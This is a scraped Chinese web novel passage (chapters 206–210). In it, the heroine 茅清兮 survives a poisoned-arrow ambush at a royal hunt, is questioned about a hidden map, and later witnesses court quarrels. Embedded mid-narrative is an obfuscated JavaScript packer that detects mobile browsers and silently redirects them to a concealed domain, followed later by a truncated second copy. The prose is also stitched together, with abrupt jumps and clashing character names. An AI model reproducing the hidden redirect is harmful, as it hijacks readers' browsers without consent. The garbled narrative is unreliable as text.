四公主狠狠地瞪了她一眼,调转马头,扬长而去。 “这女人,简直就是个疯子!” 清韵气得直跺脚。 “要不是冀容白对她不理不睬,她也不会总是来找你的茬。” “无妨,不必将她放在心上。” 茅清兮语气淡然,丝毫没把四公主的挑衅当回事。 “清韵公主,可否让在下同行?” 乐雅书骑马过来,脸上带着谦和的微笑。 “听闻猎场中有猛虎出没,在下粗通医术,或许能护公主周全。” 茅清兮眉梢微挑,看向清韵。 “好啊,”清韵略一迟疑,便答应下来,“有乐公子在,本公主也安心些。” 她顿了顿,脸上露出一丝羞涩,只是这表情略显僵硬。 乐雅书并未察觉,他以为清韵已对自己情根深种,心中暗自得意。 他计划着,待秋猎结束,便向皇上请旨赐婚。 “清兮,我……” 清韵转头看着茅清兮,欲言又止。 “我与乐公子先行一步……” 说完,她微微低头,似是不敢看茅清兮,脸上神色总算不那么僵硬了。 “嗯,去吧。” 茅清兮点点头,心中暗自赞叹,清韵这演技,倒是日渐精湛。 昨晚还一副生不如死的样子,今天竟能如此入戏。 乐雅书连忙跟了上去。 两人并辔而行,有说有笑地往密林深处走去。 茅清兮回眸,朝俞霜使了个眼色,俞霜会意,悄然跟了上去。 “臧夫人,这……” 孔清晚骑着马,缓缓靠近茅清兮。 她腿伤未愈,却执意要来,只为一睹猎场的风光。 “无妨。” 茅清兮笑了笑。 “长明,你且护着张小姐,莫要让她有什么闪失。” “啊?”长明一愣,“我……我不会啊……”“我救了人,就得负责到底?” 长明挠挠头,有些发懵。 “师父,我……” 他一个大小伙子,平日里除了练剑就是练剑,哪会照顾人?更别提还是俩姑娘,这…… “怎么,不行?” 茅清兮眼风扫过,带着几分审视。 “救人一命胜造七级浮屠,你既然伸手了,就别怕麻烦。” 她语气淡淡的,听不出喜怒。 孔清雅连忙摆手,声音细细的: “长明,不用麻烦你,我跟姐姐共乘一骑便可,我照顾她。” 她偷偷去看周长明,脸颊微微泛红。 周长明看向茅清兮,眼神里带着一丝求助,又有一丝茫然。 他只是做了件该做的事,怎么就…… 茅清兮却像没看见似的,只当没接收到他的求助。 她拨转马头,利落干脆。 “走吧,进林子。” 长明无奈,只得硬着头皮跟上。 他回头看了一眼,张家姐妹也骑马跟在后面,保持着一段距离。 茅清兮偶尔出手,身形快如鬼魅。 精准射下几只猎物,都交给长明拿着。 说是留着烤肉吃,语气随意。 猎场里人渐渐多了起来,三三两两的,讨论着各自的收获。 放出来的那些小动物,大多已经成了别人的猎物,被炫耀着。 茅清兮一行人,便往密林深处走去,那里更安静。 “姐!” 清脆的喊声由远及近。 茅飞羽的声音传来,带着少年人特有的张扬。 他骑着马,飞奔而来,卷起一路烟尘。 茅清兮有些意外,微微挑眉。 这小子,骑术倒是练得不错。 何时学的?竟也不和她说一声。 “姐,我自己偷偷学的,如今已经掌握骑术!” 茅飞羽脸上带着一丝得意,一丝炫耀,还有一丝小心翼翼。 似乎想得到茅清兮的夸奖,又怕她不以为然。 当初茅清兮费心教他,他却不肯学,各种借口推脱。 现在反倒自己下苦功练成了,还巴巴地跑来她面前显摆。 茅清兮没说什么,只是淡淡地看了他一眼,没有赞许,也没有责怪。 第二百零六章 茅飞羽也不在意,早习惯了她的冷淡。 他兴冲冲地对身边的毛明睿说: “这是我姐,她可厉害了,会武功!” 他与有荣焉。 毛明睿是禁军总督毛西元的小儿子,和贤王有着表亲关系。 他早就听茅飞羽吹嘘过他这个姐姐,什么武功盖世,什么侠肝义胆。 耳朵都快听出茧子了,今日总算见到真人了。 这个年纪的少年,最是崇拜强者。 毛明睿便也厚着脸皮跟了上来,一双眼睛亮晶晶地盯着茅清兮。 “长明,后面那两位是……?” 茅飞羽凑到长明身边,压低声音问道,眼神里带着几分好奇。 “哦,之前偶然救下的。” 长明随口答道,并不想多说。 “救人?” 茅飞羽一脸惊讶,上下打量着长明。 “我姐可不像会随便救人的主儿,是你救的吧?还挺有眼光的。” 他这话里,怎么听着有些不对味儿? 长明皱眉,语气不善。 “你这是什么话?” “没什么,” 茅飞羽撇了撇嘴,似乎觉得长明多管闲事。 “路见不平拔刀相助,总不能见死不救吧?” 长明有些恼了,声音也大了些。 “师父教过我,身为剑客,有所为有所不为!” 他挺直了脊背,眼神坚定。 虽然他还未曾真正成为绝顶高手,但心中那份侠义之情,却早已生根发芽。 这是他一直以来的坚持。 “得了吧,” 茅飞羽一脸不屑。 “你还真信这些?你管她们是谁,与你何干?” 他觉得长明就是个傻子。 长明不想再理他,只觉得胸口发闷,好像被什么堵住了一样。 他猛地一夹马腹,策马向前挪动几步,想离茅飞羽远点。 孔清雅性格比她姐姐孔清晚外向些。 孔清晚受伤后一直沉默寡言,孔清雅怕冷场,便主动和长明搭话。 她年纪和长明相仿,一路上叽叽喳喳,问个不停。 再加上茅飞羽也在一旁说个不停,各种显摆。 长明只觉得脑子里像是有几百只苍蝇在飞,吵得他头疼。 他现在只想回去练剑,哪怕不眠不休也行。 把这些烦人的声音都隔绝在外。 越往深处走,周围越是安静。 茅清兮隐隐觉得有些不对劲。 她勒住缰绳,让马停下。 微微眯起眼睛,打量着四周,眼神锐利。 “怎么了?” 茅飞羽的声音还在耳边回荡,喋喋不休。 茅清兮抬手,示意他安静。 她指尖微动,做了个噤声的手势。 四周静悄悄的,风吹树叶的声音都清晰可闻。 连鸟叫声都消失了。 这种安静,透着诡异。 “有埋伏,快走!” 茅清兮猛地回头,厉声喝道,声音里带着不容置疑的决绝。 她反应极快,几乎是瞬间就判断出了形势。 晚了,几乎是她话音刚落。 十几个黑衣人如同鬼魅般出现,从四面八方涌出。 他们身手敏捷,行动迅速,将他们团团围住,杀气腾腾。 张家姐妹吓得花容失色,惊叫出声,紧紧抱在一起,瑟瑟发抖。 长明立刻拔出短剑护在身前,但剑尖却微微颤抖。 他警惕地盯着四周,额头上渗出细密的汗珠,心中紧张。 皇家猎场,守卫森严,本不该有外人闯入。 竟然混进了刺客,而且,目标似乎还是她茅清兮! 茅清兮心中惊疑不定。 她自问没有得罪过什么人,就算有,也不至于在这皇家猎场动手。 这背后,究竟是谁在指使? 黑衣人没有废话,直接动手,刀光闪烁,直取要害。 茅清兮拔出三寒霜,剑身发出清越的嗡鸣,如同龙吟。 她足尖在马背上一点,借力跃起。 身形如鹰般腾跃而起,身轻如燕。 避开迎面而来的刀锋,身形飘逸灵动。 半空中,她一脚踢在一个黑衣人的太阳穴上,力道十足。 反手一剑,划过一道冰冷的弧线,剑锋精准地抹过另一人的脖子。 动作干净利落,毫不拖泥带水。 落地的瞬间,更多的黑衣人围了上来,攻势凌厉。 只有几个人,冲向了长明他们。 显然是想先解决掉这些碍事的,再集中力量对付茅清兮。 茅清兮余光扫了一眼长明那边。 毛明睿带的两个侍卫拼死护主,长明也勉强能招架。 虽然险象环生,但一时半会儿应该不会有性命之忧。 她稍稍放下心来,专心应对眼前的黑衣人。 自打拿到三寒霜,她还没真正意义上地畅快淋漓的打过一场。 这把剑,仿佛与她心意相通,如臂使指。 今天正好,这些人送上门来,正好拿来练剑! 三寒霜在她手中,仿佛活了过来,寒光闪烁,快如闪电。 茅清兮身形飘忽不定,如同鬼魅一般。 在刺客的包围圈中穿梭,左突右闪,游刃有余。 她以攻为守,剑锋凌厉,每一剑都带着杀意。 逐渐的,她在黑衣人的包围圈中打开了一道缺口。 就在这时,一支冷箭突然从包围圈外射来。 角度刁钻,时机狠辣,显然是早有预谋。 三寒霜被几把刀缠住,一时间无法抽身。 茅清兮根本来不及躲闪,眼看就要被射中。 “噗!” 箭矢直接命中她肩头,箭尖没入血肉,剧痛瞬间传遍全身。 她闷哼一声,脸色瞬间变得煞白。 强忍剧痛,她咬紧牙关,猛地一震。 以内力震开缠住三寒霜的几把刀,拼着受伤。 反手削断了插在背后的箭矢,动作决绝狠辣。 她将三寒霜杵在地上,支撑着摇摇欲坠的身体。 额头上渗出豆大的冷汗,眼前阵阵发黑,视线开始模糊。 箭上有毒!而且是剧毒! 毒性发作极快,顺着血液迅速蔓延。 她能感觉到,自己的身体正在逐渐变得麻木。 不能用内力逼毒! 茅清兮心中清楚。 一旦封住经脉,阻止毒素蔓延,她就无法再动武。 在这群狼环伺之下,只有死路一条。 “姐!” “师父!” 长明和茅飞羽惊恐地大喊,声音都变了调。 长明挥舞着短剑,不顾一切地想冲到茅清兮身边。 但黑衣人死死缠住他,根本不给他机会。 茅飞羽虽然不会武功,但眼见茅清兮受伤。 他也顾不得害怕,捡起一把不知道是谁掉落的刀,胡乱挥砍。 张家姐妹从未见过这等血腥场面,早吓瘫了。 孔清晚动弹不得,孔清雅下意识地用身体挡在姐姐面前。 两个弱女子抱成一团,浑身颤抖如筛糠。 黑衣人见茅清兮身中剧毒,行动受制,瞬间松了口气。 他们改变策略,一部分人继续围攻茅清兮。 剩下的人则转头对付长明等人,想要速战速决。 “小心!” 茅清兮突然出声,声音嘶哑,却带着不容置疑的威严。 她强忍着剧痛,提醒长明。 第二百零七章 几乎是同时,一个黑衣人从背后偷袭长明。 长明听到茅清兮的提醒,想也不想,直接就地一滚。 堪堪躲过了那致命一刀,刀锋几乎是擦着他的头皮过去的。 “左边!攻他下盘!” 茅清兮一边强撑着与黑衣人周旋,一边出声指点长明。 她的声音越来越虚弱,但每一个字都清晰无比。 她勉强支撑着,翻身上马。 颤抖着手,拿起弓箭。 这是她最后的希望,她不能倒下。 搭弓,拉弦,瞄准。 动作虽然迟缓,但依旧精准。 “嗖——” 羽箭破空,带着凌厉的杀气。 一箭毙命那个潜伏在树梢偷袭的黑衣人,箭无虚发。 茅飞羽的刀毫无章法,根本伤不到黑衣人,反倒让自己陷入险境。 一个黑衣人抓住机会,一脚踹在他的小腹上。 茅飞羽惨叫一声,被踹飞出去,重重地摔在地上。 他挣扎着想要爬起来,但腹部的剧痛让他动弹不得。 黑衣人步步紧逼,举起长刀,就要结果他的性命。 “不要!” 茅清兮嘶吼,声音沙哑。 就在这千钧一发之际。 “嗖——” 又是一箭,破空而来。 精准地射穿了那名黑衣人的咽喉,一击毙命。 黑衣人应声倒地,到死都不知道自己是怎么死的。 茅飞羽吓得魂飞魄散,连滚带爬地躲到一旁。 生怕黑衣人倒下来砸到自己。 他抬头看向茅清兮,只见她脸色惨白如纸,嘴唇没有一丝血色。 额头上的冷汗,大颗大颗地滴落。 但她的眼神依旧锐利,搭在弓弦上的手,虽然颤抖,却依旧稳定。 黑衣人见茅清兮还能射箭,而且箭箭毙命。 他们不敢再大意,再次改变策略,重新将茅清兮团团围住。 阻止她继续射箭,想要将她生擒。 一个黑衣人瞅准机会,用刀背狠狠地砸向茅清兮。 茅清兮再也支撑不住,被重重地拍下马。 她重重地摔在地上,喷出一口鲜血,染红了身下的泥土。 几名黑衣人一拥而上,将她死死按住,制住了她的行动。 长明和茅飞羽睚眦欲裂,却被黑衣人缠住,无法靠近。 只能眼睁睁地看着茅清兮被擒,却无能为力。 茅清兮被按在地上,动弹不得,意识开始模糊。 三寒霜和弓箭,都被黑衣人夺走,散落在她身旁。 “说,” 一个黑衣人蹲下身,用刀抵住茅清兮的脖颈。 冰冷的刀锋,紧贴着她的肌肤,带来一阵刺痛。 “你娘留给你的玄机图,到底在哪儿?” 他声音低沉沙哑,带着逼问和威胁。“师父!” “姐!” 长明和茅飞羽眼睁睁看着,茅清兮被那黑衣人制住, 脸色“唰”的一下全变了。 两人拼命挣扎, 不顾一切地想冲过去。 却被其他黑衣人, 像铁钳一样死死按住。 任凭他们如何使劲, 也是纹丝不动。 “别耍花样!” 黑衣人手上用了劲, 明晃晃的刀刃又往下压了几分, 刀锋几乎割破了茅清兮的皮肤。 “如今你的小命捏在我手心里,” 他阴森森地威胁, 每一个字都像从牙缝里挤出来的, “最好给我老实交代!” 茅清兮闷哼一声, 只觉得脖颈间一阵尖锐的刺痛。 “我娘……” 她声音有些发颤, 脸色白得像一张纸, “从来……没给过我什么玄机图。” “还敢嘴硬?!” 黑衣人显然把她的话, 当成了耳旁风。 他怒火中烧, 猛地提起刀, 就要朝茅清兮的脖子上砍下去! “不要!” 长明和茅飞羽睚眦欲裂, 拼了命地挣扎, 喉咙里发出受伤野兽般的嘶吼。 眼看着锋利的刀刃, 就要割破茅清兮的喉咙—— 千钧一发之际! 黑衣人却硬生生, 停住了这致命一击, 咬着牙, 把刀锋挪开了。 “哼,被我们逮个正着,” 他狞笑着, 声音里透着一股, 让人毛骨悚然的狠辣, “你不老实交代也得乖乖招供!” 说着, 他一把揪住茅清兮的衣领, 像是拎小鸡一样, 要把她直接带走。 就在这电光火石之间! 异变陡生! “嗖——” 一支羽箭, 撕裂空气, 带着尖锐的啸声, 疾如闪电般射来! 不偏不倚, 正中黑衣人握刀的手腕! “啊!” 黑衣人吃痛, 发出一声凄厉的惨叫。 他手中的长刀, “当啷”一声掉在地上, 在寂静的林子里, 显得格外刺耳。 剧痛之下, 他下意识地松开了茅清兮。 茅清兮等的就是这一刻! 她眼中精芒暴涨, 身子猛地向后一仰, 以一个不可思议的角度, 躲过了黑衣人下意识的反击。 同时, 她的手肘, 狠狠撞向黑衣人的脸颊! “砰!” 黑衣人毫无防备, 被这一击, 撞得眼冒金星, 鼻子瞬间涌出一股热流, 染红了半张脸。 茅清兮看准时机, 一个箭步上前, 反手抄起地上的长刀! 与此同时—— “杀!” 一阵震耳欲聋的喊杀声, 从树林中骤然响起! 一队身着飞鱼服, 腰挎绣春刀的锦衣卫, 如猛虎下山般冲了出来! 为首一人, 身形挺拔如松, 气势逼人如虎, 正是锦衣卫指挥使——潘云霄! 他带领着锦衣卫, 以迅雷不及掩耳之势, 将黑衣人团团围住。 黑衣人见势不妙, 知道今日之事, 已然无法善了。 他当机立断, 留下两人对付茅清兮, 其余人则拼死, 阻拦锦衣卫的进攻。 茅清兮紧紧握着长刀, 将它横在身前, 摆出防御的姿态。 她的眉眼间, 一片冷静, 仿佛眼前的一切, 都与她无关。 只是, 豆大的汗珠, 不断从她额头滚落, 沿着脸颊滑下, 滴落在地, 晕染开一小片深色的痕迹。 两名黑衣人对视一眼, 从彼此眼中, 看到了决绝。 他们一左一右, 朝着茅清兮, 猛扑过去。 他们挥舞着手中的刀, 刀光闪烁, 直取茅清兮要害! 茅清兮不退反进, 身形一侧, 如同鬼魅般, 避开了两人的夹击。 紧接着, 她手腕一翻, 长刀划出一道, 凌厉的寒光。 以一个刁钻的角度, 斩向其中一名黑衣人的腰腹! “噗嗤!” 刀锋入肉的声音, 清晰可闻, 让人头皮发麻。 那黑衣人惨叫一声, 捂着腰腹, 踉跄着倒退几步, “轰”的一声, 重重地摔倒在地! 另一个黑衣人见状, 吓得肝胆俱裂! 他怎么也没想到, 这个看起来, 手无缚鸡之力的女子, 竟然如此心狠手辣! 而就在这时, 潘云霄如同鬼魅一般, 出现在了茅清兮身旁! 他甚至没有拔剑, 只是并指如剑, 随意挥出两道剑气。 “噗!噗!” 两声闷响, 伴随着两道血光, 最后一名黑衣人, 便已身首异处! 兔起鹘落之间, 两名黑衣人, 一死一伤, 胜负已分。 第二百零八章 剩下的黑衣人, 也在锦衣卫的**下, 一个个倒在了血泊之中, 无一幸免。 没有一个活口。 因为这些人, 都是事先服毒的死士。 一旦任务失败, 便会立刻服毒自尽。 “姐!” “师父!” 长明和茅飞羽, 终于挣脱了束缚。 他们飞奔到茅清兮身边, 脸上写满了担忧和后怕。 “……” 茅清兮没有说话。 她只是把手中的刀, “当啷”一声, 扔在了地上。 然后, 她扶着长明的肩膀, 才勉强站稳了身子, 没有瘫软下去。 “感激不尽苏指挥使。” 她声音有些虚弱, 但还是强撑着, 向潘云霄道谢。 “作为锦衣卫指挥使的我, 护卫圣驾安全, 本就是职责所在, 不必言谢。” 潘云霄的语气很平静, 听不出任何情绪。 “今日猎场之中, 竟然混入了刺客,” 他顿了顿, 眼神变得锐利起来, 宛如出鞘的利剑, “此事,我一定会彻查到底, 给圣上, 给天下人一个交代。” “多谢。” 茅清兮再次道谢, 声音里透着一丝, 难以掩饰的疲惫。 潘云霄看着她, 她的脸色, 像纸一样苍白, 嘴唇也没有一丝血色, 整个人看起来, 摇摇欲坠。 “你中了毒,” 他皱着眉头, 语气中带着一丝担忧, “伤势不轻, 我派人送你回去, 立刻救治。” “不用了。” 茅清兮摇了摇头, 她知道, 自己根本撑不到回去。 与其把时间, 浪费在路上, 不如…… “长明,” 她直接在地上坐了下来, 语气果决, 不容置疑, “用刀,把箭尖**, 快!” “师父,我……我不会啊……” 长明顿时慌了神, 拿着刀的手, 抖得像筛糠一样, 根本不敢下手。 “动手。” 茅清兮的声音, 虽然虚弱, 却带着一股, 让人无法抗拒的力量。 她心里清楚, 箭尖上的毒素, 如果不尽快清除, 只会越来越麻烦, 甚至会危及生命。 “可是……此地找不到大夫……” 潘云霄急切地劝阻, “万一出了什么差错……” “我就是大夫。” 茅清兮打断了他, 语气坚定, “麻烦指挥使,回避一下, 这里交给我。” 潘云霄愣住了, 他深深地看了茅清兮一眼, 最终还是转过身去, 不再多言。 其他的锦衣卫, 也迅速散开, 将那些黑衣人的尸体, 一一处理干净, 不留一丝痕迹。 “臧夫人,我之前, 帮家父处理过伤口, 略懂一些包扎之术。” 孔清雅犹豫了一下, 还是鼓起勇气, 走上前来, “如果您信得过我, 就让我来试试吧, 或许能帮上些忙。” 茅清兮抬眼, 看了看她, 轻轻点了点头, 表示同意。 孔清雅接过长明手中的刀, 深吸了一口气, 让自己尽量平静下来。 她小心翼翼地, 解开茅清兮肩膀处的衣物, 动作轻柔, 生怕弄疼了她。 当那血肉模糊的伤口, 完全暴露在空气中时, 孔清雅只觉得, 一阵头皮发麻, 胃里翻江倒海。 那伤口, 比她想象的还要严重, 皮肉外翻, 血流不止, 甚至可以隐约看到白骨。 她咬紧牙关, 强忍着心中的不适, 和几乎要夺眶而出的泪水。 她用刀尖, 一点点地, 试探着, 将箭尖从伤口中挑了出来。 每动一下, 都像是在挑战她的极限。 “呼……” 当箭尖被完全拔出, 孔清雅长长地舒了一口气, 仿佛卸下了千斤重担。 她只觉得浑身都被汗水湿透了, 像是刚从水里捞出来一样。 “可是……这里没有药……” 看着茅清兮, 血流不止的伤口, 她有些手足无措。 总不能眼睁睁地, 看着她流血而死吧? “麻烦张二小姐, 帮我把这个敷上, 止血消炎。” 茅清兮递过去一个白瓷小瓶, 里面装着她自制的玉伤膏。 “我们姐妹的命, 都是臧夫人救的, 您千万别这么客气, 这都是我应该做的。” 孔清雅连忙接过药瓶, 将里面的药粉, 小心地, 均匀地, 撒在茅清兮的伤口上。 然后, 她又从自己内衫上, 撕下一块干净的布条, 替茅清兮, 仔仔细细地包扎好伤口, 打了一个漂亮的结。 一切都处理妥当后, 茅清兮从怀中, 摸出一枚药丸, 毫不犹豫地服了下去。 这药丸, 是她用多种珍贵药材, 秘制而成, 具有极强的解毒功效。 她苍白的脸色, 这才慢慢恢复了一丝红润, 看起来不再那么吓人了。 她缓缓站起身, 再次向潘云霄道谢: “今日感激不尽苏指挥使救命之恩, 茅清兮铭记于心,

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225819|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 日后定当报答。” 潘云霄转过身来, 看着她。 虽然她脸色依旧有些苍白, 但她的脊背, 却挺得笔直, 像一棵不屈不挠的青松。 潘云霄嘴唇动了动, 似乎想说什么, 但最终, 只是化作一声轻叹: “……不必言谢, 这都是我分内之事。” 作为锦衣卫指挥使的他, 公务繁忙, 不能在此久留。 向茅清兮告辞之后, 他便带着锦衣卫, 迅速离开了, 消失在茫茫林海之中。 茅清兮目送他们远去, 然后重新盘膝坐下, 闭上眼睛, 开始运功调息, 将体内残余的毒素, 一点点逼出体外。 这过程, 漫长而痛苦, 但她必须坚持下去。 长明和茅飞羽, 像两尊守护神一样, 一左一右, 静静地守在她身边, 警惕地注视着周围的一切。 两人都没有说话, 气氛有些沉闷, 压抑得让人喘不过气。 张家姐妹, 将她们带来的干粮和水, 拿出来分给大家, 希望能缓解一下, 这紧张的气氛。 孔清雅看到, 长明和茅飞羽身上, 也有不少伤口, 虽然都不严重, 但如果不及时处理, 也可能会感染。 于是, 她主动提出, 要帮他们处理伤口。 长明却摇了摇头, 他紧紧抱着自己的短剑, 像一只受伤的小兽, 对周围的一切, 都充满了戒备。 他一言不发地, 守在茅清兮旁边, 寸步不离, 生怕再有什么意外发生。 “你这孩子, 怎么这么倔呢?” 孔清雅有些无奈, 又有些心疼, “伤口不处理, 会越来越严重的, 到时候, 你还怎么保护你师父?” “我……没事, 一点小伤, 不用管。” 长明的声音, 低低的, 却很坚定。 他宁愿自己受伤, 也不愿意, 让茅清兮再受到一丝伤害。 茅飞羽这会儿, 倒是知道疼了, 他主动让孔清雅, 帮自己上药。 他看着长明, 劝道: “你呀, 就是太犟了! 你若不将伤势医治妥当, 往后该如何守护我姐姐? 难道你想, 一直让我姐保护你吗?” 长明闻言, 身子微微一震, 像是被什么东西, 击中了内心深处。 他沉默了片刻, 终于缓缓伸出, 自己受伤的手臂, 不再拒绝孔清雅的好意。 第二百零九章 孔清雅一边, 给他仔细地敷药, 一边笑着说: “你刚才, 真的很勇敢, 像个小英雄一样。 要不是你, 我和姐姐, 恐怕就…… 就要被那些坏人抓走了。” 她没有说下去, 但眼中的感激之情, 却是溢于言表, 真诚而热烈。 刚才那种情况, 如果不是长明, 拼死保护她们, 后果不堪设想, 她们姐妹俩, 恐怕早就…… 这时, 茅清兮缓缓睁开了眼睛, 结束了运功调息。 “姐!” “师父!” 长明和茅飞羽, 立刻围了上去, 关切地询问她的情况。 “我没事了, 已经好多了。” 茅清兮摇了摇头, 示意他们不用担心。 她轻轻推开, 凑到跟前的两个脑袋, 让他们稍微离远一点, 别妨碍她呼吸。 “师父,对不起……” 长明低下头, 声音里充满了自责, “我以前, 练功总是偷懒, 不够努力…… 以后,我一定, 一定加倍努力, 再也不会让师父受伤了!” 他紧紧握着拳头, 指节因为用力而发白, 心中暗暗发誓, 一定要变得更强, 强大到足以保护师父, 保护身边所有的人。 茅清兮听了, 嘴角忍不住抽了抽。 这傻小子, 还真是…… 实诚得可爱。 如果长明都算偷懒, 那这世上, 恐怕就没有, 勤奋的习武之人了。 毕竟, 以他的天赋和实力, 就算再怎么偷懒, 也比大多数人强得多。 “姐,我亦愧对于你……” 茅飞羽也凑了过来, 一脸的愧疚, 恨不得给自己两巴掌, “我不但没能保护你, 还……还拖了你的后腿, 让你为了救我受伤……” 他越说越自责, 觉得自己简直, 一无是处, 没用到了极点。 茅清兮看着他们两个, 一个比一个自责, 一个比一个愧疚, 真是又好气又好笑。 她无奈地叹了口气, 伸手揉了揉, 两个小家伙的脑袋: “行了行了, 都别自责了, 这事儿, 也不能全怪你们。” “若真心想要弥补于我, 就赶紧去, 把之前打的那两只兔子, 烤了吃了, 弥补一下。” “我现在, 可是饿得前胸贴后背了。” 长明和茅飞羽对视一眼, 立刻行动起来, 再也不敢耽搁。 茅清兮看着他们, 忙碌的身影, 脸上的笑容, 慢慢收敛起来。 她垂下眼眸, 陷入了沉思。 玄机图…… 这三个字, 像是一块巨石, 压在她的心头, 让她有些喘不过气。 那到底是什么东西? 为什么那些黑衣人, 会认定, 这东西在她身上? 她怎么从来, 都没有听说过? 而且, 那些黑衣人, 还口口声声说, 这是她娘留下来的…… 难道…… 这真的就是, 太子和孔谋, 一直想要, 从她身上得到的东西? 那个隐藏在幕后, 操纵着一切的神秘人, 究竟是谁? 他处心积虑, 想要得到玄机图, 又有什么目的? 可是旭日东升,又是一天狩猎时。 用过早膳,众人再度踏入猎场,继续未尽的“征程”。 茅清兮却被茅飞羽和长明“缴了械”,两人说什么也不让她动手。他俩拉上**小公子,三人成组,抄起弓箭便是一阵扫射。 与其说是狩猎,不如说是胡闹。准头差得离谱不说,还非要比出个高低。 孔氏姐妹倒成了啦啦队,在一旁摇旗呐喊,好不热闹。 比拼下来,还是长明技高一筹,拔得头筹。他身手矫健,气力过人,最终猎得一头野猪,外加一只灰**兔子。 明日午时,便是秋猎结束之时。届时,各家子弟需带着各自的猎物返回,以猎物多寡**行赏。 要说这猎场里谁最漫不经心,当属茅清兮。日头渐斜,她也只是由着长明他们嬉闹,全然没有争胜之心。 眼见天色渐暗,茅清兮不打算立刻返回营地。几人便寻了处避风的地方,燃起篝火,将白日里猎得的野味架在火上炙烤,大快朵颐起来。 皇家猎场内,本就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“谁不知道,小王爷的后院,如今可是百花争艳。听说,还有人怀上了龙种呢。姐姐这般‘贤良淑德’,想必一定乐见其成吧?” 康熙小王爷见状,轻轻握住了冀晚雨紧绷的手,似是安抚。 他转头看向冀晚棠,脸色铁青,声音低沉: “燕二小姐,本王府上的家事,似乎还轮不到你来置喙。若是燕大公子管教无方,本王不介意请官府来代劳。” 冀徒临见势不妙,连忙将冀晚棠拉到身后,低声警告: “晚棠,你答应过我什么?若是再这般口无遮拦,我立刻让人送你回去。” 冀晚棠狠狠地瞪了冀晚雨一眼,虽心有不甘,却也不敢再造次。 她如今已是李家妇,而李家,根本没资格踏足皇家猎场。 她也是费尽心思,才求得冀徒临带她前来。本想着在昔日“姐妹”面前好好显摆,不曾想,竟会在这儿碰上冀晚雨这个眼中钉! 在她看来,冀晚雨不过是个上不得台面的贱婢。就算侥幸嫁入王府,也改变不了骨子里的卑贱。 康熙王府的那些破事,早已传遍了京城的大街小巷。 新婚之夜纳妾,其中一个还怀了身孕,这等丑闻,简直是滑天下之大稽。 第二百一十章 冀晚雨竟还有脸在她面前摆王妃的谱?简直可笑至极! 康熙小王爷眼见冀晚雨脸色越来越难看,柔声安抚道: “晚雨,莫要听信旁人的挑拨之言,你在我心中,永远是最重要的。” 冀晚雨却不领情,冷笑一声,语气中满是嘲讽: “小王爷这话说得可真动听。只是不知,您是更喜欢我这张脸呢,还是更喜欢那些个千娇百媚的?” “晚雨,我……” 康熙小王爷张了张嘴,想要辩解,却被冀晚雨打断: “够了!小王爷不必再多费唇舌。您的心意,我‘心领’了。” 她语气决绝,不带一丝感情。若非真心待她,又怎会任由一个妾室怀上他的骨肉,骑到她头上作威作福? 如今,她不仅是王府的笑柄,更是整个京城的笑柄。他竟还想用这些虚情假意的话来哄骗她,简直可笑! 康熙小王爷看着冀晚雨那冰冷而疏离的眼神,心中一阵钝痛。 他怎么也想不明白,曾经那个温柔可人的晚雨,为何会变成如今这般模样。 他承认,纳妾一事,的确是他对不住晚雨。可那也是母亲的意思,他曾试图反抗,却终究拗不过母亲的固执。 更何况,除了新婚之夜那一次,他便再未碰过那两个女子。谁能想到,竟会如此“凑巧”,其中一个竟然怀上了他的孩子。 他并非没有想过要除掉这个孩子,可是母亲却以晚雨的安危相要挟。 他一直以为,娶到晚雨,便是得到了世间至宝。即便她容貌尽毁,也丝毫不影响他对她的爱意。 可如今,他却觉得,眼前的晚雨,竟是如此陌生。 这次秋猎,他本想借机带晚雨出来散心,缓和二人之间的关系。 可一路上,冀晚雨始终对他冷眼相待。要么沉默不语,要么冷嘲热讽,无论他如何低声下气,都无法换来她的谅解。 他只觉身心俱疲,与冀晚雨之间,似乎再也找不到共同的话题。 与其无休止地争吵,倒不如保持沉默。 若非考虑到还有旁人在场,茅清兮真想寻棵树,在外面凑合一宿。 眼下,她也只能寻了个角落,盘膝打坐,眼不见为净。 孔氏姐妹相拥着,靠在墙边沉沉睡去。 长明则像一尊守护神,抱着剑,静静地守在茅清兮身后。 茅飞羽则没那么好的定力,早已在通铺上寻了个位置,呼呼大睡起来。 夜色渐浓,屋子里静悄悄的,倒也没人来打扰茅清兮。 篝火噼啪作响,火光映照着每个人的脸庞,忽明忽暗。 茅清兮猛地睁开双眼,却见冀晚雨与小王爷不知为何又起了争执,言语间,**味十足。 争吵间,冀晚雨情绪激动,掩面痛哭着跑了出去,小王爷紧随其后,追了出去。 茅清兮闭上眼睛,没有理会。 约莫过了小半个时辰,屋外忽然传来一阵惊恐的尖叫声,打破了夜的宁静。 “救命!救命啊!有老虎!” 是冀晚雨的声音! 众人皆被这突如其来的呼救声惊醒。 冀晚棠本就憋着一肚子火,此刻更是怒不可遏: “大呼小叫什么!不知道的还以为**了呢!” 冀晚雨披头散发,发丝凌乱,面纱也不知丢到了何处,露出那张狰狞可怖的脸。 她却浑然不觉,只是一个劲地喊着: “真的有老虎!你们快去救救小王爷!再晚就来不及了!” 众人将信将疑,面面相觑。 有人低声嘟囔: “老虎?真的假的?这地方怎么会有老虎?” “谁知道呢,说不定是她癔症发作,胡说八道。” 但即便如此,也没人敢贸然出去。 毕竟,老虎可不是闹着玩的,万一真遇上了,那可就凶多吉少了。 冀晚雨见众人迟迟没有动静,急得如热锅上的蚂蚁。 突然,她像是想起了什么,猛地扑向茅清兮,双膝一弯,跪倒在地,声音嘶哑: “茅清兮,求求你,救救小王爷!他不能死,他不能死啊……” 茅飞羽脸色一沉,挡在茅清兮身前: “不行!我姐身上有伤,不能去冒险。” “茅清兮,我知道你有办法的,相信你有能力拯救他,对不对?” 冀晚雨却像没听见似的,只是一个劲地哀求,不停地磕头,额头重重地撞击着地面,发出沉闷的声响。 “别磕了!”茅清兮伸手按住她的肩膀,沉声道,“我去。” 